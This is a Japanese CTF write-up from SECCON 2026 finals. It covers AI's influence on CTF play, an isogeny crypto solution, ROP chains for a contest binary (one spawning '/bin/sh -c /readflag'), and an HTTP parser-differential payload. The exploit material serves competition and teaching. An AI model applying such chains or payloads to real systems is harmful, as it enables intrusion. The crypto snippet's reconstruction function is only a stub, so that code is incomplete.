今回、私endresserrorはTeam EnuからSECCON domestic finalに出場しました。その中で私の解いた一部問題のWriteupと、昨今のAIの進化によるCTFの変化について書かせていただきます。
具体的な問題のソースコードのリポジトリURLは、SECCON公式から公開され次第、このページに追記します。
AIによるCTF文化の変化
私がCTFを始めたのは、2年前の大学1年生の頃でした。
攻殻機動隊やシュタインズゲートに感化されてハッキング手法を学びたく、合法的な教材や技術検証欲の吐き出し口としてCTFに挑んでいました。
当初はpicoCTFなどの常設CTFを解きながら、たまに企業主催のCTFへ参加して自分の成長を確かめていました。
大学1年生の頃のChatGPTは、C言語のforを含むプログラム修正をさせると、同じ文章を繰り返し出力するような'for'文に影響されているのか分かりませんがあきらかにバグを頻発しており、まだまだ人間には及ばないという認識でした。
しかし最近のCTFでは、問題取得から提出までの自動化フローを組み、複数問題を並列で解かせて結果を出す使い方が実際に行われており、AIの進化を強く感じました。
SECCON 2026 FinalsでのAIの存在感
今回のSECCONでは、私を含めてAIを使わない参加者はいなかったのではないかと思うほど、AI活用が浸透していました。
私はマルウェア解析が好きでReversingに手応えがあるつもりでしたが、1日目はGhidraで解析しつつ、迷った箇所を都度スクリーンショットでAIに投げて時短を狙っても、Reversingは1問も解けませんでした。
しかし、アフターパーティでの会話やSNSを見る限り、AIを使いこなす力にも専門的な知識や視点が強く影響していると感じました。
他の方が具体的にどのように使っていたかまでは把握できていませんが、競技力への影響はかなり大きいと思います。
今後は、これまで敬遠していたMCPのような周辺技術も学ぶ必要があると実感しました。
今後のCTFはどうなるか
私の中でCTFは、プレイヤーごとに解法があって、あらゆる手段で解くのが面白い競技です。そのためAI利用を否定する立場ではありません。
一方で、今後さらにAIが強くなると、モデル性能やAPI利用量に依存した資金力の競争になる可能性はあると感じています。
その流れの中で、CTFの教育的価値はむしろ上がると考えています。
私自身、セキュリティ知識の多くをCTFの過去問や常設問題から得てきました。
文章で読むだけより、手を動かして脆弱性を再現した方が理解が深まるからです。
Writeup
ここから、今回のSECCON Finalsで私が実際に取り組んだ内容をまとめます。
私はJeopardyを2問(うち1問のWebは同じタイミングでチームメイトも既に解いていた)解き、KoTHはWebとPwnを中心に担当しました。
スコア面で突出したわけではないので、模範解法ではなく「自分がどう判断して、どう詰めたか」を中心に書きます。(最適解を知りたければ私より高スコアを出したプレイヤーのwriteupを見た方が参考になるため)
Day1: back2back
問題概要
サーバは秘密値 (m, n) を持っており、こちらが送る公開鍵 (R, S) に対して j(E_B / <mR + nS>) を返す仕組みになっていました。
同時に暗号文は sha256(str((m, n))) 由来の key, iv で AES-CBC 暗号化されているので、最終目標は (m, n) の復元です。
解法の考え方
最初は素直に (m, n) を直接追う方針を考えましたが、探索空間が大きすぎて現実的ではありませんでした。
方針を切り替えて「まず r = n * m^{-1} を法ごとに回収し、最後に再構成する」流れにしました。
具体的には次の手順です。
- Bob側の曲線
E_Bをサーバ出力から復元する -
N = p + 1を素因数冪に分解する - 各
l^eで torsion basis を作り、オラクルのjと局所 isogeny を突き合わせてr mod l^eを回収する - CRTで
r mod Nを得る - rational reconstruction で
(n, m)を復元する -
sha256(str((m, n)))からkey, ivを作って AES-CBC を復号する
数学的なアプローチ
この問題は、入力 (R,S) に対して
j(E_B / <mR + nS>)
を返します。
l^e-torsion 上で基底 R_l, S_l を取ってみると、m がその成分で可逆な場合、
mR_l + nS_l = m (R_l + r S_l), r = n * m^{-1} mod l^e
と書けます。
つまりカーネルの「向き」は実質的に r (mod l^e) で決まり、オラクル比較で r を桁上げしながら特定できます。
各素因数冪 l_i^{e_i} で r_i = r mod l_i^{e_i} を取れたら、CRTで
r mod N, N = p + 1
を復元できます。最後は
r ≡ n * m^{-1} (mod N)
を満たす小さい分数 n/m を rational reconstruction で戻し、(m,n) 候補を得る流れです。
実装では符号や並び違いも最後に試し、AES復号で正答を確定させました。
悩んだところ
大会中に詰まりやすかったのは「時間がかかる処理をどう安定運用するか」でした。
そこで、途中結果(r mod l^e)を都度保存して再実行時に再利用するようにして、長時間実行のやり直しコストを抑えました。
もう1点は、Sageのバージョン差で rational_reconstruction の返り値型が変わる点です。
ここは戻り値を吸収するようにして、tuple/有理数どちらでも同じコードで処理できるようにしています。
最後の復号では符号や並びの差分も候補として試し、取りこぼしが発生するのを防ぎました。
フラグ取得のためのコード
以下に、CRT -> rational reconstruction -> AES-CBC 復号 の実装例を示します。
#include <gmp.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
void crt_many(mpz_t r_out, mpz_t m_out,
const char *residues[], const char *moduli[], size_t n) {
mpz_t r, m, ri, mi, inv, t, tmp;
mpz_inits(r, m, ri, mi, inv, t, tmp, NULL);
mpz_set_ui(r, 0); mpz_set_ui(m, 1);
for (size_t i = 0; i < n; i++) {
mpz_set_str(ri, residues[i], 10);
mpz_set_str(mi, moduli[i], 10);
mpz_invert(inv, m, mi); // inv = m^{-1} mod mi
mpz_sub(tmp, ri, r); mpz_mod(tmp, tmp, mi);
mpz_mul(t, tmp, inv); mpz_mod(t, t, mi);
mpz_mul(tmp, m, t); mpz_add(r, r, tmp);
mpz_mul(m, m, mi);
}
mpz_mod(r, r, m);
mpz_set(r_out, r); mpz_set(m_out, m);
mpz_clears(r, m, ri, mi, inv, t, tmp, NULL);
}
int robust_rr(mpz_t num, mpz_t den, const mpz_t r, const mpz_t M) {
// 連分数ベースで、有理数 num/den ≡ r (mod M) を復元する。
// 実装上は拡張ユークリッドを回し、|num| <= sqrt(M/2) を満たす候補を取り、
// gcd(num, den)=1 と num*den^{-1} ≡ r (mod M) を確認する。
return 1;
}
// num, den を得た後:
// 1) tuple = "(m, n)" を作る
// 2) SHA256(tuple) の前半16byteを key、後半16byteを iv に使う
// 3) AES-128-CBC で復号
SECCON{Decherai_Medetai_Decherai_Medetai}
Pwn: Bid My Gadget
問題概要
SECCON FinalsのPwn「Bid My Gadget」は、ROPを組んで各タスクを達成する問題です。ここまではよくある形式ですが、今回はそこにオークション要素が乗っていました。
最初から使えるのはStandard Collectionだけで、便利なガジェットはコインを使って落札しないと使えません。さらに採点は「解けたかどうか」だけでなく、binファイルのサイズの小ささで評価されます。つまり、解法の正しさと同じくらい「何を買って、どこを削るか」の判断が重要でした。
前提: ROPで何をしているか
ここでいうROP(Return-Oriented Programming)は、ret で終わる短い命令列(ガジェット)をスタック上で連結して、1本の処理として実行させる手法です。
この問題では自由にシェルコードを置くのではなく、用意されたガジェット群だけを使って目的の状態を作る必要があります。
そのため、pop でレジスタへ値を入れる、mov でメモリへ書く、xchg で値を入れ替える、といった小さい操作を順番につないで task 条件を満たします。
大会中に私が意識していたのは、次の順番です。
最初Webを解いていて途中からPwnを引き継いだ関係でガジェット購入の最初の意図は私の方ではすべて把握はしていないので今回はガジェット購入の選別基準については書きません。
- まず通るチェーンを作る
- 通ったら短縮を段階的に進める
この問題は、最短を初手で当てるよりも、改善の回転数を上げた方が結果的に速かったです。
得点を得るのに有効だった戦略
この問題では、スタック領域が「ROP chain以外ゼロ初期化」になっていました。これはかなり有効でした。末尾のゼロを削る最適化や、ret imm16 の副作用吸収に使いやすかったためです。
また、hidden gadget(命令途中エントリ)を探索したことで、通常リストだけでは作りにくい短い経路が見つかりました。実際に使ったのは次の3つです。
0x4015b1: pop rbx; ret0x4022c1: mov eax, dword ptr [rsi]; ret0x401321: mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17
特にt2とt4で有効でした。
hidden gadgetは命令先頭ではなく途中アドレスに飛ぶため、逆アセンブル文脈との1byteずれを常に確認しました。
また ret 0x17 のようなスタックを追加で進めるものは副作用が大きいので、ゼロ初期化領域へ落として吸収できる配置を前提に使っています。
オークションの考え方
今回、私はオークションはほぼチームメイトに任せてしまいましたが今writeupを書きながら考えているロットの優先順位は次の3点での判断基準です。
- 未解決タスクの詰まりを解消できるか
- 複数タスクで再利用できるか
- 1個で大きくバイトを削れるか
実際に改善へ直結した追加ガジェットは、0x402650: movsq qword ptr [rdi], qword ptr [rsi]; ret と 0x4022f0: mov rdi, qword ptr [rsi]; ret でした。とくに 0x402650 はt3の構造を丸ごと簡略化でき、スコア改善に有効でした。
取得ガジェット一覧(全89件)
最終的にTeam Enuで利用可能だったガジェットを、Standard Collection と Auction Lots に分けて表形式で記載します。
Standard Collection(70件, 0x00401000-0x004015ff)
| No | Address | Bytes | Assembly |
|---|---|---|---|
| 1 | 0x00401000 |
4429d0c3 |
sub eax, r10d; ret; |
| 2 | 0x00401010 |
fec388c748a5ff9218f0ffff488b7dc0488b0fffe6 |
inc bl; mov bh, al; movsq qword ptr [rdi], qword ptr [rsi]; call qword ptr [rdx - 0xfe8]; mov rdi, qword ptr [rbp - 0x40]; mov rcx, qword ptr [rdi]; jmp rsi; |
| 3 | 0x00401030 |
ff4189c20800 |
inc dword ptr [rcx - 0x77]; ret 8; |
| 4 | 0x00401040 |
488bbe280100004881c4e8000000c3 |
mov rdi, qword ptr [rsi + 0x128]; add rsp, 0xe8; ret; |
| 5 | 0x00401060 |
4889c7ffe6 |
mov rdi, rax; jmp rsi; |
| 6 | 0x00401070 |
ff662e |
jmp qword ptr [rsi + 0x2e]; |
| 7 | 0x00401080 |
e5ffff4889c3 |
in eax, 0xff; dec dword ptr [rax - 0x77]; ret; |
| 8 | 0x00401090 |
0537c90100c3 |
add eax, 0x1c937; ret; |
| 9 | 0x004010a0 |
0c01014883c00189c24883 |
or al, 1; add dword ptr [rax - 0x7d], ecx; rol byte ptr [rcx], 0x89; ret 0x8348; |
| 10 | 0x004010c0 |
48892a594883c448c3 |
mov qword ptr [rdx], rbp; pop rcx; add rsp, 0x48; ret; |
| 11 | 0x004010e0 |
88c7488bbef8e0ffff4883c438ffd2 |
mov bh, al; mov rdi, qword ptr [rsi - 0x1f08]; add rsp, 0x38; call rdx; |
| 12 | 0x00401100 |
c00f48c3 |
ror byte ptr [rdi], 0x48; ret; |
| 13 | 0x00401110 |
488932c21f00 |
mov qword ptr [rdx], rsi; ret 0x1f; |
| 14 | 0x00401120 |
0400004084f60785c3 |
add al, 0; add byte ptr [rax - 0x7c], al; test byte ptr [rdi], 0x85; ret; |
| 15 | 0x00401140 |
ff904c89ef44 |
call qword ptr [rax + 0x44ef894c]; |
| 16 | 0x00401150 |
f7ffff6690 |
idiv edi; jmp qword ptr [rsi - 0x70]; |
| 17 | 0x00401160 |
ff4889c3 |
dec dword ptr [rax - 0x77]; ret; |
| 18 | 0x00401170 |
0f05 |
syscall; |
| 19 | 0x00401180 |
00000031c0e80ec3 |
add byte ptr [rax], al; add byte ptr [rcx], dh; shr al, 0xe; ret; |
| 20 | 0x00401190 |
4889f831d248c1c80348f7f6c3 |
mov rax, rdi; xor edx, edx; ror rax, 3; div rsi; ret; |
| 21 | 0x004011b0 |
004885c06402ffd04883c408c3 |
add byte ptr [rax - 0x7b], cl; shl byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; |
| 22 | 0x004011d0 |
85c00200004883c3 |
test eax, eax; add al, byte ptr [rax]; add byte ptr [rax - 0x7d], cl; ret; |
| 23 | 0x004011e0 |
483947080f94c0c3 |
cmp qword ptr [rdi + 8], rax; sete al; ret; |
| 24 | 0x004011f0 |
49f7de18c083e02ac3 |
neg r14; sbb al, al; and eax, 0x2a; ret; |
| 25 | 0x00401210 |
28d80f182400b82f000000c3 |
sub al, bl; nop dword ptr [rax + rax]; mov eax, 0x2f; ret; |
| 26 | 0x00401230 |
5ac22300 |
pop rdx; ret 0x23; |
| 27 | 0x00401240 |
94c220d0 |
xchg esp, eax; ret 0xd020; |
| 28 | 0x00401250 |
ff6681 |
jmp qword ptr [rsi - 0x7f]; |
| 29 | 0x00401260 |
ffc6057dc40100015dc30f1820c3 |
inc esi; add eax, 0x1c47d; add dword ptr [rbp - 0x3d], ebx; nop dword ptr [rax]; ret; |
| 30 | 0x00401280 |
898dd8f2ffff41ffd5 |
mov dword ptr [rbp - 0xd28], ecx; call r13; |
| 31 | 0x004012a0 |
c8f1ffff4887d6c21800 |
enter -0xf, -1; xchg rsi, rdx; ret 0x18; |
| 32 | 0x004012c0 |
5f4881c4f8000000c3 |
pop rdi; add rsp, 0xf8; ret; |
| 33 | 0x004012e0 |
5e4881c4f8000000c3 |
pop rsi; add rsp, 0xf8; ret; |
| 34 | 0x00401300 |
00e8c3 |
add al, ch; ret; |
| 35 | 0x00401310 |
5d4883c428c3 |
pop rbp; add rsp, 0x28; ret; |
| 36 | 0x00401320 |
488bbba9b81f00c21700 |
mov rdi, qword ptr [rbx + 0x1fb8a9]; ret 0x17; |
| 37 | 0x00401340 |
5e4883ec18c3 |
pop rsi; sub rsp, 0x18; ret; |
| 38 | 0x00401350 |
486304834801d8ffe0 |
movsxd rax, dword ptr [rbx + rax*4]; add rax, rbx; jmp rax; |
| 39 | 0x00401370 |
488907ffe2 |
mov qword ptr [rdi], rax; jmp rdx; |
| 40 | 0x00401380 |
052291010083e001c3 |
add eax, 0x19122; and eax, 1; ret; |
| 41 | 0x004013a0 |
ff904889dfe8 |
call qword ptr [rax - 0x172076b8]; |
| 42 | 0x004013b0 |
f4 |
hlt; |
| 43 | 0x004013c0 |
4c89e7ff5038 |
mov rdi, r12; call qword ptr [rax + 0x38]; |
| 44 | 0x004013d0 |
415d545c4883c408c3 |
pop r13; push rsp; pop rsp; add rsp, 8; ret; |
| 45 | 0x004013f0 |
020f94c209d0 |
add cl, byte ptr [rdi]; xchg esp, eax; ret 0xd009; |
| 46 | 0x00401400 |
194889c24825 |
sbb dword ptr [rax - 0x77], ecx; ret 0x2548; |
| 47 | 0x00401410 |
83c003c3 |
add eax, 3; ret; |
| 48 | 0x00401420 |
a6c3 |
cmpsb byte ptr [rsi], byte ptr [rdi]; ret; |
| 49 | 0x00401430 |
ff6690 |
jmp qword ptr [rsi - 0x70]; |
| 50 | 0x00401440 |
92f7ffff4889c283e0 |
xchg edx, eax; idiv edi; dec dword ptr [rax - 0x77]; ret 0xe083; |
| 51 | 0x00401460 |
b7aac20100 |
mov bh, 0xaa; ret 1; |
| 52 | 0x00401470 |
ff904d89ec4c |
call qword ptr [rax + 0x4cec894d]; |
| 53 | 0x00401480 |
9cc00f9fc20fb6 |
pushfq; ror byte ptr [rdi], 0x9f; ret 0xb60f; |
| 54 | 0x00401490 |
004839c3 |
add byte ptr [rax + 0x39], cl; ret; |
| 55 | 0x004014a0 |
87f14801caffe2 |
xchg ecx, esi; add rdx, rcx; jmp rdx; |
| 56 | 0x004014b0 |
893741ffd5 |
mov dword ptr [rdi], esi; call r13; |
| 57 | 0x004014c0 |
052291010025fe000000c3 |
add eax, 0x19122; and eax, 0xfe; ret; |
| 58 | 0x004014e0 |
004889c3 |
add byte ptr [rax - 0x77], cl; ret; |
| 59 | 0x004014f0 |
ff660f |
jmp qword ptr [rsi + 0xf]; |
| 60 | 0x00401500 |
b5a8f7ffff0f8369ffffff4883c3 |
mov ch, 0xa8; idiv edi; dec dword ptr [rdi]; sub dword ptr [rcx - 1], -1; dec dword ptr [rax - 0x7d]; ret; |
| 61 | 0x00401520 |
be0000000048ad4883c428c3 |
mov esi, 0; lodsq rax, qword ptr [rsi]; add rsp, 0x28; ret; |
| 62 | 0x00401540 |
94c283e8 |
xchg esp, eax; ret 0xe883; |
| 63 | 0x00401550 |
01000000c3 |
add dword ptr [rax], eax; add byte ptr [rax], al; ret; |
| 64 | 0x00401560 |
9cc20fb6 |
pushfq; ret 0xb60f; |
| 65 | 0x00401570 |
c3 |
ret; |
| 66 | 0x00401580 |
d3feff4889c3 |
sar esi, cl; dec dword ptr [rax - 0x77]; ret; |
| 67 | 0x00401590 |
94c24885 |
xchg esp, eax; ret 0x8548; |
| 68 | 0x004015a0 |
87fdffe2 |
xchg ebp, edi; jmp rdx; |
| 69 | 0x004015b0 |
005b41c3 |
add byte ptr [rbx + 0x41], bl; ret; |
| 70 | 0x004015c0 |
ff0000f30f19fa4883ec084883c408c3 |
inc dword ptr [rax]; add bl, dh; nop edx, edi; sub rsp, 8; add rsp, 8; ret; |
Auction Lots(19件, 0x00402000-)
| No | Address | Bytes | Assembly |
|---|---|---|---|
| 1 | 0x00402020 |
31c9c3 |
xor ecx, ecx; ret; |
| 2 | 0x00402030 |
31d2c3 |
xor edx, edx; ret; |
| 3 | 0x004020b0 |
4887f7c3 |
xchg rdi, rsi; ret; |
| 4 | 0x004020c0 |
4887fbc3 |
xchg rbx, rdi; ret; |
| 5 | 0x004020f0 |
93c3 |
xchg ebx, eax; ret; |
| 6 | 0x00402100 |
87cbc3 |
xchg ebx, ecx; ret; |
| 7 | 0x00402110 |
87d1c3 |
xchg ecx, edx; ret; |
| 8 | 0x00402130 |
87fac3 |
xchg edx, edi; ret; |
| 9 | 0x00402170 |
ba37130050c3 |
mov edx, 0x50001337; ret; |
| 10 | 0x00402200 |
ba00f00050c3 |
mov edx, 0x5000f000; ret; |
| 11 | 0x00402220 |
ba34120050c3 |
mov edx, 0x50001234; ret; |
| 12 | 0x00402230 |
ba00100050c3 |
mov edx, 0x50001000; ret; |
| 13 | 0x004022c0 |
488b06c3 |
mov rax, qword ptr [rsi]; ret; |
| 14 | 0x004022d0 |
488906c3 |
mov qword ptr [rsi], rax; ret; |
| 15 | 0x004022f0 |
488b3ec3 |
mov rdi, qword ptr [rsi]; ret; |
| 16 | 0x00402410 |
b85ec20800ffe0 |
mov eax, 0x8c25e; jmp rax; |
| 17 | 0x004024e0 |
5ec3 |
pop rsi; ret; |
| 18 | 0x00402510 |
488d742418c3 |
lea rsi, [rsp + 0x18]; ret; |
| 19 | 0x00402650 |
48a5c3 |
movsq qword ptr [rdi], qword ptr [rsi]; ret; |
Task別Writeup
t1 Paint the Canvas
条件:
*(uint32_t*)0x50001337 = 0xdeadbeef;
このタスクは最初に「4byte一致なら8byte書き込みでもよい」と割り切りました。使える書き込み命令の都合上、mov qword ptr [rdx], rsi で下位4byteを一致させる方が早かったためです。
ここで有効だったのは、ret 0x1f を途中で使わず終端側に寄せることと、末尾のゼロを削ることです。最終版は35Bまで短縮できました。
使用ガジェット:
-
0x00402170:mov edx, 0x50001337; ret -
0x004024e0:pop rsi; ret -
0x00401110:mov qword ptr [rdx], rsi; ret 0x1f -
0x004013b0:hlt
Python生成コード:
#!/usr/bin/env python3
import struct
def p64(v: int) -> bytes:
return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)
chain = [
0x00402170, # mov edx, 0x50001337; ret
0x004024E0, # pop rsi; ret
0x00000000DEADBEEF, # rsi
0x00401110, # mov qword ptr [rdx], rsi; ret 0x1f
0x004013B0, # hlt
]
full = b"".join(p64(x) for x in chain)
payload = full.rstrip(b"\x00")
with open("task1_opt7.bin", "wb") as f:
f.write(payload)
t2 Way Out
条件:
syscall(rax=60, rdi=*(uint32_t*)0x50001234)
このタスクで最初に詰まったのは、rax=60 を演算で作ろうとしていた点でした。add eax, ... を積む方針だと、どうしても手数が増えて重くなります。
途中から方針を変えて、「計算する」ではなく「スタックに値を置いて読む」に切り替えました。lea rsi, [rsp+0x18] で読み位置を作り、hidden mov eax, dword ptr [rsi]; ret で即値を回収する形です。
rdi 側は hidden pop rbx; ret と hidden mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17 を組み合わせ、0x50001234 へ1手で届くようにしました。最終49Bです。
使用ガジェット:
-
0x004015b1(hidden):pop rbx; ret -
0x00402510:lea rsi, [rsp + 0x18]; ret -
0x004022c1(hidden):mov eax, dword ptr [rsi]; ret -
0x00401321(hidden):mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17 -
0x00401170:syscall
Python生成コード:
#!/usr/bin/env python3
import struct
def p64(x: int) -> bytes:
return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
chain = [
0x004015B1, # pop rbx; ret
0x000000004FE0598B, # rbx + 0x1fb8a9 == 0x50001234
0x00402510, # lea rsi, [rsp + 0x18]; ret
0x004022C1, # mov eax, dword ptr [rsi]; ret
0x00401321, # mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17
0x00401170, # syscall
]
payload = b"".join(p64(x) for x in chain)
payload += b"\x3c" # [rsi] = 0x3c -> eax=60
with open("task2_opt9.bin", "wb") as f:
f.write(payload)
t3 Art Forgery
条件:
memcpy((void*)0x5000f000, (void*)0x50001000, 0x40)
0x40 バイトはqword 8個なので、ここは早い段階で「movsq を8回回す」方針に固定しました。問題は、その8回をどれだけ軽く回せるかです。
初期構成は、重いpop系や回り道が多く非効率でした。改善段階ではhidden gadgetを混ぜて組み直し、最後に落札した 0x402650: movsq ...; ret を導入して、ループ部をほぼ直列化できました。最終版は99Bです。
このタスクは「買った1個で構造が変わる」典型で、オークション判断の重要性が最も分かりやすかったです。
使用ガジェット:
-
0x004024e0:pop rsi; ret -
0x00402200:mov edx, 0x5000f000; ret -
0x00402130:xchg edx, edi; ret -
0x00402650:movsq qword ptr [rdi], qword ptr [rsi]; ret(8回) -
0x004013b0:hlt
Python生成コード:
#!/usr/bin/env python3
import struct
def p64(x: int) -> bytes:
return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
POP_RSI_RET = 0x004024E0
MOV_EDX_DST_RET = 0x00402200
XCHG_EDX_EDI_RET = 0x00402130
MOVSQ_RET = 0x00402650
HLT = 0x004013B0
SRC = 0x50001000
payload = b""
payload += p64(POP_RSI_RET)
payload += p64(SRC)
payload += p64(MOV_EDX_DST_RET) # edx = 0x5000f000
payload += p64(XCHG_EDX_EDI_RET) # rdi <- edx (dst), 以降 movsq は [rdi] に書く
for _ in range(8):
payload += p64(MOVSQ_RET)
payload += p64(HLT)
payload = payload.rstrip(b"\x00")
with open("task3_opt9.bin", "wb") as f:
f.write(payload)
t4 Call the Curator
条件:
syscall(
rax=59,
rdi="/bin/sh",
rsi={"/bin/sh", "-c", "/readflag", NULL},
rdx=0
)
このタスクは要素が多いので、最初に2段で分けました。
- 文字列とargvをどこにどう置くか
- 最後に
rax/rdi/rsi/rdxをどう揃えるか
初期版は add rsp の大きいガジェットに依存してしまい、かなり肥大化しました。ここから書き込みプリミティブを中心に再設計し、lea rsi, [rsp+0x18] を活かしてargvをスタック上に寄せました。
文字列配置はオーバーラップを使いました。"-c\0/read" と "flag\0" を少しずらして置き、"/readflag" を新規書き込みなしで得る構成です。さらに xchg edx, edi を使って rdi の構築と rdx=0 の確保を同時に済ませ、手数を減らしました。
最終的に、本文の条件を満たすチェーンとしてこの構成を提出しました。最終サイズは 242B です。
使用ガジェット:
-
0x00402170:mov edx, 0x50001337; ret -
0x004024e0:pop rsi; ret -
0x00401110:mov qword ptr [rdx], rsi; ret 0x1f -
0x00402230:mov edx, 0x50001000; ret -
0x004015b1(hidden):pop rbx; ret -
0x004020f0:xchg ebx, eax; ret -
0x004022d0:mov qword ptr [rsi], rax; ret -
0x00402510:lea rsi, [rsp + 0x18]; ret -
0x00402130:xchg edx, edi; ret -
0x00401170:syscall
Python生成コード:
#!/usr/bin/env python3
import struct
def p64(v: int) -> bytes:
return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)
def u64(bs: bytes) -> int:
return int.from_bytes(bs.ljust(8, b"\x00")[:8], "little")
LEA_RSI_RSP18 = 0x00402510
POP_RSI_RET = 0x004024E0
POP_RBX_RET = 0x004015B1 # hidden
XCHG_EBX_EAX = 0x004020F0
MOV_PTR_RSI_RAX = 0x004022D0
MOV_PTR_RDX_RSI_RET1F = 0x00401110
MOV_EDX_50001000 = 0x00402230
MOV_EDX_50001337 = 0x00402170
XCHG_EDX_EDI = 0x00402130
SYSCALL = 0x00401170
BINSH = 0x50001000
MIX0 = 0x50001337 # "-c\0/read"
MIX1 = 0x5000133F # "flag\0"
READF = MIX0 + 3 # "/readflag"
payload = b""
payload += p64(MOV_EDX_50001337)
payload += p64(POP_RSI_RET)
payload += p64(u64(b"-c\x00/read"))
payload += p64(MOV_PTR_RDX_RSI_RET1F)
payload += p64(MOV_EDX_50001000)
payload += b"\x00" * 0x1F
payload += p64(POP_RSI_RET)
payload += p64(u64(b"/bin/sh\x00"))
payload += p64(MOV_PTR_RDX_RSI_RET1F)
payload += p64(POP_RBX_RET)
payload += b"\x00" * 0x1F
payload += p64(u64(b"flag\x00"))
payload += p64(XCHG_EBX_EAX)
payload += p64(POP_RSI_RET)
payload += p64(MIX1)
payload += p64(MOV_PTR_RSI_RAX)
payload += p64(POP_RBX_RET)
payload += p64(59)
payload += p64(LEA_RSI_RSP18)
payload += p64(XCHG_EDX_EDI)
payload += p64(XCHG_EBX_EAX)
payload += p64(SYSCALL)
payload += p64(BINSH) # argv[0]
payload += p64(MIX0) # argv[1]
payload += p64(READF) # argv[2]
payload += p64(0) # argv[3]
payload = payload.rstrip(b"\x00")
with open("task4_opt13.bin", "wb") as f:
f.write(payload)
Web: Parser Purgatory Writeup
問題概要
Web KoTH「Parser Purgatory」は、同じHTTPリクエストを複数サーバに対して送り、正規化後レスポンスの差分(unique count)をどこまで増やせるかを競う問題でした。
配布された採点側サーバ実装を読みながら、有効なリクエストを作る問題でした。
何を競う問題か(採点ロジック)
配布ルールと採点実装の内容を要約すると、実際の採点は次の流れです。
- 各ターゲットへ同一のHTTPリクエストを送る
- レスポンスが
2xxかつエラーなしのものだけを採点対象にする - ボディJSONを正規化する(キー順の統一、ヘッダ名の小文字化、単一要素配列の一部単純化など)
- 正規化結果から比較用シグネチャを作る
- シグネチャのユニーク数を
unique countとする - ラウンドごとに
unique countで順位を付け、順位点を配る
要するに「200系をできるだけ落とさずに、正規化後の差分だけを増やす」ゲームです。
この前提があるので、私は valid を保ったまま差分が残る境界(query/form/cookie/header)を優先しました。
まず切り分けたこと
今回私は採点ロジックを読んだ段階で、次の点は後回しにしました。
-
protocolは最終比較に残らない -
methodは小文字化される - ヘッダ名も小文字化される
見た目の違いを増やしても比較時点で潰れるものが多いため、path/query/form/cookies を主な変更点として、実装差が残る入力を探す方針にしました。
どのように入力を作ったか
ベースラインは1本だけ固定し、そこから1ラウンド1変更で差分を試しました。大きく弄るより、有効だった要素とそうでなかった要素を切り分ける方が、後半の伸びが安定したためです。
実際に多用したのは、次の境界です。
-
k,k[],k[0],k[a]の混在 -
+と%20の扱い差 - Cookieの重複名、空白、属性風トークン
-
Content-Typeの解釈境界
試行錯誤の流れ
序盤は30前後で停滞しました。そこで、queryの括弧系とCookie境界を優先して詰めるように変更し、31へ到達。後半は悪化を避けるため、変更を小さくしてロールバック前提の運用に寄せました。
手応えがあった例は、[]/[0]/[a] の混在を整理した候補です。逆に、強いエンコードやbare cookie keyの投入は、結果としてスコア下げることが多く、採用を諦めました。
最終的に私の自己ベストは 37 unique でした。これはあくまで私の到達点で、他チームには38まで伸ばしていたところもありました。チームで分担を決める際に私が自らWebに立候補したにもかかわらず、期待した結果を出せず申し訳なかったです。
最終形のペイロード
私が最終的に運用していたWebペイロードは以下です。
sha256: c45d01a416455558373087a9af5e553d78b3cb90b8629b789b6e10d58899b841
POST /?k=1&k=2&j%5B%5D=3&j%5B%5D=4&g%5B0%5D=4&h%5Ba%5D=5&u%5Bname%5D=neo&dot.a=6&semi=1&semi=2 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Version: 1
VERSION: 2
X-Dup: one
x-dup: two
X-DUP: three
Cookie: $Version=1; sid=alpha; sid=beta; empty=; quoted="q"; plus=a+b; $Path=/
Cookie: sid =gamma; plus =a%2Bb; $Domain =target; $Path =/
Connection: close
Content-Length: 96
k=1&k=2&j%5B%5D=x&j%5B%5D=y&g%5B0%5D=y&h%5Ba%5D=z&u%5Bname%5D=neo&dot.a=9&semi=1&semi=2&plus=a+b
このペイロードの解説
この形で狙ったのは、「多くの実装でvalidを落とさずに、パーサ差分だけを増やす」ことでした。
- query と form の両方に
k,j[],g[0],h[a]を混在させ、配列/連想配列/上書き規則の違いを同時に踏ませる -
dot.aのようなドットキーを入れ、ネスト解釈する実装と文字列キーとして扱う実装を分岐させる -
semi=1&semi=2を query と body の両方に置き、重複キーの優先順(first/last/array化)差分を引き出す -
Version/VERSIONとX-Dup/x-dup/X-DUPを重複させ、ヘッダ正規化後の集約方法の違いを狙う - Cookie を2行に分け、同名 cookie(
sid)重複とsid =gammaの空白入り書式、$Version/$Path/$Domainの属性風トークンを混在させる -
Content-Typeはapplication/x-www-form-urlencodedに固定し、formパース自体が落ちる実装を避ける
逆に入れなかったものもあります。bare な cookie key(値なし)は一部実装で400を返して valid を下げやすく、強い変形(absolute-form や過激な文字種混入)も同様に全体スコアを崩しやすかったため、この最終版では外しました。
反省点
37到達後は、守りの運用が強くなりすぎました。中盤までは37でも大きく崩れませんでしたが、後半に入って私がPwnへ比重を移したタイミングで38に到達するチームが増え、チェックポイントごとに点差を広げられました。
終盤に残っていたのは実装が近いクラスタ同士で、単発変更では崩れにくい状態でした。突破には query/form/cookie/header の境界を連動させた入力を、もう一段広く探索する必要がありましたが、最後までそこに到達できませんでした。
最後に
昨年の電脳会議でSECCONの雰囲気を遠目に見て、「来年はあの場で自分も解いてみたい」と思ったことが動機で、今回予選に参加し、そのまま決勝まで進みました。
問題を全然解けませんでしたが、問題に取り組んでいる時の楽しさはとても大きく、やはり私はCTFが大好きだなと実感しました。
Team Enuの皆様、観戦しに来てくださった方々、そしてSECCONや電脳会議の運営に携わってくださった方々、本当にありがとうございました。
昨今のAI進化の中で問題作成の難しさが増しているという話も多く聞く中、素晴らしい問題を提供してくださった作問者の皆様にも感謝しています。
そして来年までにあらゆる常設問題を巡って超ウィザード級ハッカーの技術を身につけて来年こそは入賞を目指させていただきます。